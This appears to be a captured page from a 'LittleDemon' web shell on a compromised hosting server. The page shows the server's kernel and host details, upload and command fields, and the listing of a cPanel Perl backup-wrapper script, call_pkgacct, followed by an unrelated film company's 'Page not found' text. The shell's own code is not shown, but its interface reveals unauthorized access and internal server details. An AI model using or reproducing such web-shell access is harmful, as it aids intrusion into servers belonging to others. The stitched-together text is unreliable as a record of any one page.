LittleDemon WebShell


Linux sh00002.bigrock.com 5.14.0-687.29.1.el9_8.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Jul 23 16:18:48 EDT 2026 x86_64
Path : /scripts/
File Upload :
Command :
Current File : //scripts/call_pkgacct

#!/usr/local/cpanel/3rdparty/bin/perl

#                                      Copyright 2025 WebPros International, LLC
#                                                           All rights reserved.
# copyright@cpanel.net                                         http://cpanel.net
# This code is subject to the cPanel license. Unauthorized copying is prohibited.

=encoding utf-8

=head1 NAME

call_pkgacct - Wrapper script for cPanel & WHM's pkgacct binary

=head1 SYNOPSIS

    call_pkgacct [--help] [pkgacct options] <username>

=head1 DESCRIPTION

This script provides an easy to call wrapper for cPanel & WHM's pkgacct binary with the specific settings
needed for Comet Backup's agent. It automatically adds the C<--nocompress> and C<--stdout-archive> flags
to output an uncompressed tar archive to stdout.

All other arguments are passed through to pkgacct. See C<pkgacct --help> for available options.

=head1 OPTIONS

=over 4

=item B<--help>

Display this help message and exit.

=back

=head1 EXAMPLES

    # Create a backup of user 'example' to stdout
    call_pkgacct example > /path/to/backup.tar

    # Create a backup with additional pkgacct options
    call_pkgacct --skiplogs --skipmailman example > /path/to/backup.tar

=cut

package scripts::call_pkgacct;

use cPstrict;

use Getopt::Long ();
use Pod::Usage   ();

use FindBin;
use lib "$FindBin::Bin/../plugins/whm/comet/perl/usr/local/cpanel";

run(@ARGV) if !caller();

sub run {
    my (@args) = @_;

    # Plugin policy: nothing in this process should be world-readable.
    umask 0027;

    my $help;
    Getopt::Long::Configure('pass_through');
    Getopt::Long::GetOptionsFromArray(
        \@args,
        'help|h|?' => \$help,
    ) or Pod::Usage::pod2usage(2);

    if ($help) {
        Pod::Usage::pod2usage(
            -exitval => 0,
            -verbose => 2,
        );
    }

    my $pkgacct_bin = '/usr/local/cpanel/bin/pkgacct';

    if ( !-x $pkgacct_bin ) {
        die "Error: pkgacct binary not found or not executable at $pkgacct_bin\n";
    }

    # Add required flags for Comet Backup and pass through all other arguments
    exec {$pkgacct_bin} $pkgacct_bin, '--nocompress', '--stdout-archive', '--skiphomedir', '--skipmysql', '--skippgsql', @args
      or die "Error: Failed to execute pkgacct: $!\n";
}

1;

LittleDemon - FACEBOOK
[ KELUAR ]
Page not found – Sparkplug Films
Small totara tree on ridge above Long Point

Page not found

The page you are looking for doesn't exist, or it has been moved. Please try searching using the form below.